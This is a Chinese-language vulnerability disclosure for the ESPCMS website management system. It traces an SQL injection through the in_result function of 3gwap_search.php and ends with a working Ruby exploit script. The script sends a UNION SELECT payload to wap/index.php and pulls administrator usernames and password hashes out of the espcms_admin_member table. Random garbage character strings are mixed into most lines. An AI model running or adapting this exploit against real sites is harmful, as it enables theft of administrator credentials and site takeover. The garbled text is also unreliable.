0×0 漏洞概述0×1 漏洞细节
. S. Q2 ]; m' w0×2 PoC
9 N/ \6 K" j$ K
, m; n+ E0 `2 b* R. d! w2 R, |2 O$ m! P ?3 `0 w) X! `. |8 z/ X. g
T& l" l8 ]9 L/ `# @0 ?+ L0×0 漏洞概述- h0 V8 V6 Q; V1 z
- C' V W6 D! s7 H+ }+ p1 } Z易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
" I+ B+ ]; X7 C* y8 Z- e其在处理传入的参数时考虑不严谨导致SQL注入发生" f8 u" {" {- y( k/ n6 ]
* P* Z6 S$ ?" ?& w, y0 X
1 P$ Q- c2 t: p% B% G$ P
0×1 漏洞细节
/ i& s! P% o! g; z% o( I
$ f! X1 s- l3 x( F2 H变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
# ^: E1 [/ c) Y1 ~* A正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
3 x g9 ]: \4 N" P而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
1 f, M& U# g- F2 ?# p1 m4 i
6 u3 M) e- M: U7 F在/interface/3gwap_search.php文件的in_result函数中:8 m: k1 H2 h+ V* C" r. `, t
* [% h* \6 |9 N% p9 M$ W* A ]2 h& W+ O. \& _- q
: F% N: Z+ e( H/ t function in_result() {6 G8 [( ]: U/ C4 B! |! x! e. E+ {
... ... ... ... ... ... ... ... ...
0 u. l" D( V. a& A @! ` $urlcode = $_SERVER[ 'QUERY_STRING '];3 p9 z; b, k. ?
parse_str(html_entity_decode($urlcode), $output);# i& J, H$ p: Y' P- r3 ^ ?
/ }+ S; F- h2 y3 }9 f ... ... ... ... ... ... ... ... ...
; D/ q. `' b4 _& x: o if (is_array($output['attr' ]) && count($output['attr']) > 0) {
% \! Y& O- a0 `2 P5 e/ S1 ^; q# u8 f! A O+ B! _7 B( q- Q
$db_table = db_prefix . 'model_att';
/ P% |; u3 ^/ L; p$ F
6 w! P' Z2 i( u& D# d3 ~' @8 B- Q foreach ($output['attr' ] as $key => $value) {
C6 A5 F# z* L* s( s1 M if ($value) {
$ ?( d8 \ x& C. w2 G
9 M' L* |/ s) R $key = addslashes($key);
' z4 D6 p8 w8 ~" K% q $key = $this-> fun->inputcodetrim($key);5 w( ^* w+ S' z* N
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
1 b7 G) l0 Z! w+ S$ E) G! s+ ]) v $countnum = $this->db_numrows($db_table, $db_att_where);
! M0 a& S+ A C' M if ($countnum > 0) {
1 O! u/ W" I% T5 h4 e $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
0 A) k5 w% J3 L( K' { }
* E* s; d; \/ A4 z# W) d }
2 ^% }* j- `9 k3 ` }) f F7 C W! P9 ]3 ^& \
}
/ y. C. G7 q: E* J" p1 [1 X1 Z if (!empty ($keyword) && empty($keyname)) {1 v4 g6 S- o: |6 S( J2 T# \
$keyname = 'title';
' S0 {' V2 m, x* A: Z1 ] $db_where.= " AND a.title like '%$keyword%'" ;* _, T5 e1 r& T( q M/ ~
} elseif (!empty ($keyword) && !empty($keyname)) {0 ?! a) }. E, ]
$db_where.= " AND $keyname like '% $keyword%'";* V; p. U' x7 J. _
}6 ~8 u6 l! E) z0 T' T- ~4 \
$pagemax = 15;
+ F7 N2 b/ F3 V: V3 d5 F) p: ]" t6 K: k! d
$pagesylte = 1;
: ?0 N& I( ^$ Q t0 p% _
6 m1 `0 h3 J% Q0 U6 N% u if ($countnum > 0) {
7 K/ d" N+ \' `3 [/ q- t, l# z, X" E
$numpage = ceil($countnum / $pagemax);: M* y! ]- s2 ~- _4 V& Y
} else {
* b) p1 ^5 @$ e! I2 N; n $numpage = 1;
- ]0 {9 O& F; K0 l4 y }
# k8 U, h7 f' N $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;* o* ?5 t, m" d
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);5 |" o9 B* n! T5 i- ~5 O) Y
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);# _' h; ]8 p- ^8 j
... ... ... ... ... ... ... ... ...
% G) M8 w' F9 G+ V5 l2 {4 q% E }
D& A9 [8 E9 g# V8 n6 F: u4 t+ g* a( D/ V0 F1 b* X
& i# [4 C( c+ a7 H
0×2 PoC! |7 g' v5 ?& f7 d% `
9 X5 M$ C. `" ^, X9 \) }
* _, x' k) t; X; S8 y6 ~" O; E& @5 v6 ]" b
require "net/http"' P; O/ ]- T4 q6 A
2 n- c0 ]$ [* s [
def request(method, url)
% ]9 [# |4 y. c$ ~; {# _/ n+ }: ?+ ] if method.eql?("get")7 Q M3 l' m* `4 d
uri = URI.parse(url)& H: A" p# w( u4 L6 G7 k0 Q
http = Net::HTTP.new(uri.host, uri.port)
5 k5 t. ~: G) F8 c response = http.request(Net::HTTP::Get.new(uri.request_uri))
! ~0 B& S4 V. I9 a% ^# a/ u return response) P% p3 ?8 `- D! X; g% B
end$ o4 |! N- D5 t9 i6 M( e
end
# E+ R. j, V( w- T$ h; m( ~! I9 w2 v. B* Z
doc =<<HERE
' b+ D V' u) ]' e# C. s-------------------------------------------------------
4 \' C w2 G" E9 lEspcms Injection Exploit( J/ G! \0 Q& X n1 |( S) m8 y
Author:ztz% u2 X/ U+ C2 C4 K& w# E7 p7 n2 O
Blog:http://ztz.fuzzexp.org/ O6 {7 K/ K }0 o
-------------------------------------------------------9 ]( ?7 h6 `+ \3 N3 o: l& T* n/ i: k
% I) V# ]8 A* T" r1 U j' e" CHERE1 l- n1 H7 j* [% i1 k% O& C% ~
; _* A9 H; u5 v- h
usage =<<HERE# @2 e1 W1 n' ]0 s8 G
Usage: ruby #{$0} host port path
+ X; Y, B! s* K( W( E; t% Rexample: ruby #{$0} www.target.com 80 /# q0 P9 G" Q; [% ]
HERE
* \" t3 x- k8 a+ L, j( i: F5 w+ E! W7 L0 B3 N+ y
puts doc
5 @) W4 Q' ]: u# a, |; H' x3 R+ V) Nif ARGV.length < 3
1 i* s7 J% @7 ^/ D" L puts usage
) R% k/ `$ m* velse& k8 w' p9 z- h& m1 o( G! ?6 e, `
$host = ARGV[0]! `7 c& I! j& ^
$port = ARGV[1]9 z v* D# Y$ M0 _0 L2 G
$path = ARGV[2]
: Y9 I. P$ C( b2 P9 q) }. S0 j. j- _
puts "send request..."% K( H/ u/ e/ K5 M2 D" G. f
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
! |( Z3 h0 d) K4 K/ G$ _attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
8 L! C' p0 Y% M,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27; f# S9 ]% V5 K+ A! a
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
' i; `+ {- j% Y8 t' ^ response = request("get", url)
^) ^2 y, f5 ? result = response.body.scan(/\w+&\w{32}/)# G+ f" Y9 m% Z) y8 N& q# F
puts result/ Z2 F# N e. V5 @9 x
end# r( ]7 [( Q& J& k. ?
/ o' c5 ?9 ?: x: M- `1 H; N3 F
|